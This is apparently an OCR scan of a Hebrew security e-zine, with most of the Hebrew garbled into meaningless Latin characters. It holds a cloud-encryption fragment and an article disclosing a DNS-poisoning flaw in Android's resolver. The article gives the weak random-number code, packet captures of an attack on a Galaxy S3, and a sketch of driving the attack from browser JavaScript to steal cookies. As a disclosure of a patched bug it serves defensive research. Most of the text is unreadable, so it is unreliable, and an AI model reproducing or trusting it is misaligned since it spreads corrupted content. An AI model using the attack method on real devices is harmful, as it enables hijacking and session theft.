N'0IA7Y NIX N NIIY NPNRPYOKR N N7U9NN NDIYN NN NDAN1 K'Y DIYN NN

JYIR WA T NNONN DX IMYYT DR IT NI9¥ND 7'V NANKRD .Saas 7w ninoa

N730 ,NTY) NIIY NN NI9X¥N NIZID' DY 0'V'AN DININ '0'01 AN - DB based encryption o
NI2'102 TIKN N2V IT NI9¥N .'W*7w TX NIDIN NIYYAND 0MyoYI Nam nixa omnysy ('

.Paa$S IX SaaS NIn202 Ny NN'WA 7902 V7N X NN'WD NIMUN

NN V177 N7 702 TUNR WY TY NN IR 2IX'N NIN'YA W'y - Proxy based encryption e
['9¥NY7 7Un? N1 IT NO'YA 171D DX IX YT'ANN D70 'O¥N7 ,]3yN D207 NIZ7N |2 NNinynn
IT N19¥N NIIXN WY D'YAN DY 197 TIY 0'DNOoNl 'RIYK '0'V1d MDon NINIRY7 NinY
112y DA DI'D DM N7X NINND .2Yn 7907 N9'wN K77 NI7n "y Dnwll 0*771Nnn NINNoSNN

.PaaS-1 Saa$S 112y nal [aaS niaao

nnNNe D1 Digital Rights Management al0n NIXWAN [Nl NI9¥N NIINND - DRM e
212V TNIMA .2V NI2a0a PDF-1 Office 'DNoON DMNIYW TWN DRIAIX 1AV TIND D'NIyAYN
viap? omwoxn DRM 1mam .omnx ECM niinnoil Dropbox ,Google Docs [12D NI'Yj?'79N
D'A'RNN DI 178 NIRNNO NNT DY .AXYIN DRI WIN'Y 12 NIWYY? 'KYY M yalgn nnna

LN NIR NN onwth Nyl 0"9'X50 D'2'7NN IN NTIAY NiIXpZ nNNa winm?

ni'oY
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N'01IANN X720 NN L,0N'Y DFTTIANAY D1I2'0N NN AN WAT XD DA L,N'A171100 701 1nd A
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7annn 7y
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9011 NIYITN NIMAIZID0VIE VTR NNVAX WK 7101 ,NINNT 72101 7w Xwina nnnini

NN POy DY NIRAIZID0 01 7w DMXINN NXIAPZA VTN NNVAN DINN 7010) Awn A Nq 2
NN's Nava .Security for ERP-1 DLP ,SIM ,IDM [120 NIAdIN YT'A NNVAN NIRAIID0 7w nynoni

.X71201 D1I2'0 7101 YT NNVAN 'RWINA NRIYWD NI77010 1Y D'oNIj 190N
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Android DNS poisoning: Randomness gone bad

'N 'VIN NKRN

TYONN NIY'A9N ,T'RNTINA DNS Resolver-2 T 7V NN7aNNW N1'ayn NIYA9 a1 DT 1NRN2
DNS mnopnn 7ui DNS 72y mxp nnTpnn 7'NN1 .a'wonin 7y DNS poisoning Nopnn yxa?
NNYY NIY2ON 0OV Nzl ,T'RNTIXA DNS-n [man 7w 015N NN DY Y'wnl  .poisoning

NMDYwUNI

Blind DNS poisoning -1 DNS 7y nxj

NIN Blind DNS poisoning-2 qzinn 7w n71yon 91X .UDP 2yn 975 012 Taww 7171019 Kin DNS
KIN I'78 name server-2 NIITT NAIWN Y'TNNYI NP2 NI7WY 010N Resolver IX hame server Y7X7
D'n'; 11X Blind DNS poisoning 7y DTN 1INIX QWK NN NIYNN DY ANY 197 ,NID
'K VIYD DNS-n 71710091 ,0'NWN PRWNN 773 - NIY 2¥NN DX .VTNN DR ARN 'R QpINnY

.DNSSEC X%7%7 n7 a¥n ny TTIMNN7 7a10n

What is the IP of www.ibm.com?

The IP of www.ibm.com is 9.9.9.9.

4—
Victim

The IP of www.ibm.com is 6.6.6.6.

Attacker

IN T'"MNY 0 n5pNnn NX |YJT]"I'7 213" XIN D 717N N1)'NAn NIML NI N72uN7 ININNN 2¥nn
STINT AN n'7'on DNS nvpa 75 Nt 2ax¥n oy TTIANNY? ' SApNN NMYA DR DX DAgnn 2N
2ATN .AS5pPNn2a N'7¥n"7 T2 nonce-n NKX 1172 wn? ar'n Q7inN .NAaIYN21 DA Vv'91n7 2"NW ,nonce
AW NI017 712' XIN L,WINYQ NIYLY 7722 D'IoN |I'012 7w Q71NN OX N'A'00OT AS5PNN Vi 11'X

.(caching 27y ,n11Iw domain name Dy X)
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Victim

What is the IP of www.ibm.com?

v

The IP of www.ibm.com is 9.9.9.9. (nonce=64213)

A

Name server

-
The IP of http://www.ibm.com is 6.6.6.6. (nonce=64213) W“'

Attacker

NNIN 7017 [T ,2008-1 .nonce-n 7TIA7 T 0N KIN MIWRIN NNZ¥NN TV YXINNN N9'{Nn T

DNS -2 y'™@inn [IWXKIN 7N INT) Ta?a TXID-N ATYn 2O nonce-n TWKRD N'UPID NOPNN

UDP -2 Da
v 32w

N'XT'NITN 19'010 029 DNS 'wimm ,17'an niapya (v 16 71122 190n ,Header
7TI2 2 TOQ XIN DI nonce-n 27 .(N>YnNn oniya Y9N ,AN'pa v 16) source port

.N9'PNYT7 "7AT'9-'M72 XINW 190N

nTIN N910n

:4.0.4 T'RNTIX YnW ,Galaxy S3 2'wonn nxkx'yw DNS naiayvn ‘]']0n'7 117 XX' NTIAYN NNAona

[ data-galaxys3-attack_30_002-wlang-browser-550.pcap - Wireshark =
File Edit Wiew Go Capture Analyze Statistics Telephony Tools Help

e CEXEE AesaTL QAQD | WE W% B

Filter: dns = Expression... Clear Apply
Mo, Time Info Src Port Transaction IDY -~
| 161340205533.324190  Destination unreachable (port unreachables3  OxZaad ]
17 1340205533, 343024 Standard query A 1.www.1bm. FEEFE] Ox57el
18 1340205533, 3410863 Standard query A 1.www.1bm.com 31427 0x769¢C
19 1340205533, 697365 standard query A 1.www.ibm. com 7987 0x1b95
20 1340205533. 905532 standard query A 1.www.ibm.com 62754 0xf166
21 1340205534.267378 standard query A 2.www.ibm.com 28779 0x6e75

23 1340205534. 404186 Standard guery A 2.www.ibm.com 12299 0x2c35
24 1340205534, 572922 Standard query A 2.www.ibm.com 64707 0xf8f2
25 1340205534, 676409 standard query A 2.www.ibm. com 17508 Oxd0c1
26 1340205534, 946074 standard query A 3.www.ibm.com 11932 Ox2d63
27 1340205335.129218 standard guery A 3.www.ibm.com 26538 0x626T
28 1340205535, 270298 standard query A 3.www.ibm.com 22413 0x53bb
[ 291340205335, 322633 Dastination unreachable (Port unreachables3 ~ 0x99t0 |
30 1340205535.402828 Standard query A 3.www.ibm.com 25110 Ox5e56
31 1340205535. 676261 standard query A 4.www.ibm. com 39386 0x95bd
32 1340205535, 811608 standard query A 4.www.ibm.com 17873 Ox4190
33 1340205535, 965342 standard guery A 4.www.ibm.com 65198 Oxfafs
34 1340205536, 095760 Standard query A 4.www.ibm. com 4842 0x0f20 4

# Frame 17: 73 bytes on wire (584 bits), 73 bytes captured (584 bits)

08 00 27 c6 2f b4 B8 30 Ba 54 2c a2 08 00 45 00 e afe 0 T, .EL

00 3b 00 56 40 00 40 11 ¢2 36 c0 a8 7b 68 cO aB Lo VER, 6. {h..

7b 6c Sb d9 00 35 00 27 7b €3 57 el 01 00 00 01 {1057 {ow..ooan =
00 00 00 00 00 00 01 31 03 77 77 77 03 69 62 6d ....... 1 . www, ibm

03 63 6f 6d 00 00 01 00 01 Y- M -
: "D\ projects\wulnerabilities\androidwea... | Packets: 19829 Displayed: 19829 Marked: 0 Load time: ... | Profile: Default

91
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.UDP source port-nI TXID-n *TAX |2 TN WP W' D NI7PA 'Nan? N1
NDAT?

e 23513, 22496
e 28779, 27765
e 25110, 24150

J'Minn 02IY DMypynn 2ANa N7 0"Y DNS0NN I'Ph ¥in'na

INIX MPNY7 107NN P71, T'RNTIKA DNS-N 112102 NIMMY2 W' D TYUN 12 NNIY NIRXINNY 2D

iy

T'XNTINA DNS Resolution

79 DNS Stub resolver-n NX n'7'>n IT N0 .Bionic nwa libc-7 nYwn wmm nYDn T'RNTIX

NN Noyvnn

‘ /libc/netbsd/resolv

:random_bind w2 ,bind n'¥j72197 NDLVYNA Y¥INN source port randomization-n win'm

static int
random bind( int s, int family )

{

/* first try to bind to a random source port a few times */
for (j = 0; § < 10; J++) {
/* find a random port between 1025 .. 65534 */
int port = 1025 + (res_randomid() % (65535-1025));
if (family == AF INET)
u.sin.sin port = htons(port);
else
u.sin6.sin6 port = htons(port);

if ( 'bind( s, &u.sa, slen ) )
return 0;

}

/* nothing after 10 tries, our network table is probably busy */
/* let the system decide which port is best */
if (family == AF INET)
u.sin.sin port = 0;
else
u.sin6.sin6 port = 0;

return bind( s, &u.sa, slen );

Android DNS poisoning: Randomness gone bad
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res_mkquery.c NNN res_nmkquery Nn*x1pio92 X'n TXID-N 7Y Ny

int

res_nmkquery (res state statp,
int op, /* opcode of query */
const char *dname, /* domain name */

int class, int type, /* class and type of query */
const u_char *data, /* resource record data */

int datalen, /* length of data */

const u_char *newrr in, /* new rr for modify or append */
u_char *buf, /* buffer to put query */

int buflen) /* size of buffer */

hp = (HEADER *) (void *)buf;
hp->id = htons(res randomid()) ;

NNN res_randomid-7 NP "V 'RAPRD 190NN DX NNXTA NIY9N MY NN NIY 19D
T'XNTINA DNS Resolver-n 1"7v (Pseudo-random number generator) PRNG-n DXV INT .res_init.c

.001Nn

u_int
res_randomid(void) {
struct timeval now;

gettimeofday (&now, NULL) ;

return (0xffff & (now.tv_sec #* now.tv _usec % getpid())):;

}

:PID-n w1 (nTD 7 NXPI9 KIN 'TNN PRNG-NW 'RIZRN WNY W7 TIignn NIXYY N1

WORD(time,. b time, s, B PID)

-N1 TXID-N WWXD ,(NIMW-Nz'm 7w AXI7IT2) M i xR 19n 2nimnn wn L,0mion 1*70n iy

17w n¥pao oin Port

niy'asn

INT 779 IN 0'xNn ,0'o00ann UDP source port-nl TXID-n DN'™7Y D''7MITINN DDWN WY 17 D)
n'mMano'nn NX I]'73.'|7I ,DMY9 97X NDIWNN DX 1NAT MYWNN NN WWUX? NIn 7V .TINN Xy

JIRMPN ' D'INATH YAdSn 1Y naXan
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5000 -

4000
Occurrences

3000

2000

1000

i i -
o a0a 1000 1500 2000

Time delta (usec)

.PRNG-7 NIXpN MY |2 NITI9NY NITTA NIMMY-NP'M 7V 12m 0"gnn N1 D 'nanY N
MY Y TN RINL(NMY-Nz'm 7w 2x71T1) 7271 i i7n orion 170N 1y PRNG-nw (1'n

ITIXNn DT 0D Y niRpn

NNAN0NA "IN WA DX 121 WM 210! XIN 010N Y 121 WN1 XINY N1 L,97INN N2'Nan

9IN2 .20-7 2N XIN D"7MITINN D'URAN 1901 NIMYION NIDYNIY XN INNNA .TIND NN
| i

12008 1197 7w |w'n D71Y7 1INIX NN'TNN NIY'A9N 0D

?0T DY NIYYY? [N nn TX

cache-2 wnnwnn NIz7 ' 7w confidentiality-1 integrity 7v v'awn? n71>' DNS poisoning NopNn

vamin

N'7¥N 97NN OX .Browser-n N'¥'79X NX qI7N7 XN T'RNTIND NIYYY 710" QPN |"ayn 12T
DNS NIN?'Ry x¥"nY JavaScript TIp 1'7¥ yOn7 710 XIN M0 ANN? wI7Y 20170 DX y1dYL

.(www.ibm.com :7wn%) MmN 97 'MIT NNN Danwn subdomains Dy
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:0'NAN subdomains-nN NN NIWRIN NN7¥NN TV qI7N7 N02' XN Ni'D

1.www.ibm.com

2.www.ibm.com

3.www.ibm.com

JNRN2 NY'DIMN NP'O0N 97 XY nonce DY NIMpP'w DNS NIwN N71I¥ qpimn At INIKa
NINTN NIX 2127 Pl ,www.ibm.com 7w wildcard cookies Nix1? 7wn'? 710" qEinn ,nN7¥nn 1NXY7
N9'PNN LXSS-n 7Tan%w on ,0mion VA XSS-N APTN N A9PNN NK MR 71 1Y

.HTTPOnly cookies DA NIXY7 q7IN"7? NMWOKRN

Niy'as nixkona

('nurTn Yyaan 0w ) 22 My 4.1.1 TRINTINA NIZIN NIYaon L,4.0.4 T'RINTIR

DYy

http://bit.ly/MkteBx :n9'7N7 NX'M N{7'1001 VSN 'MNANON NN 7700 ,MIPAN MNXAN e

http://youtu.be/ffnF7Jej710 :niy'aoY exploit D'ATAN [IVIO

7annn 7y

Application -n ,0mINN [1aN2 NIY7IN MPIN AXIAZN .IBM-2 '011'70N A7Nn NXIAP DX 72 'win

.[I"11V2 awNNN 'vTNA .B.Sc 00 NINNKY7 .Network Security TVI Security
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nI'o NaT

DN I'7a0N DNAN D DUIPn TIKA X (Digital Whisper 7w 41-n |I"7an NIX DMAIO0 1INIX NIKTA

NnYp Ty ,NIMAY'X' ,NnAYnNn ndn WpyYin DyYSn Da ,0'NTipn NII'7221 1> 1N onTRY? -awn

I"720 NN D27 X'ANYT IO NITIAN NI'Y NIYYI

37-0 N2021 I NNILISNAV QY N AIX' 7D - D¥YYA IX) DAY ,0MNNN L,D'AND D'YONN NNIX
DINNY1 ITYY? DRMIyna 0'WaNd ([36.5 qi1a DIn 7Y DA AWSNAY? 01dIN 1IX] 9 T N¥p 17 W'Y
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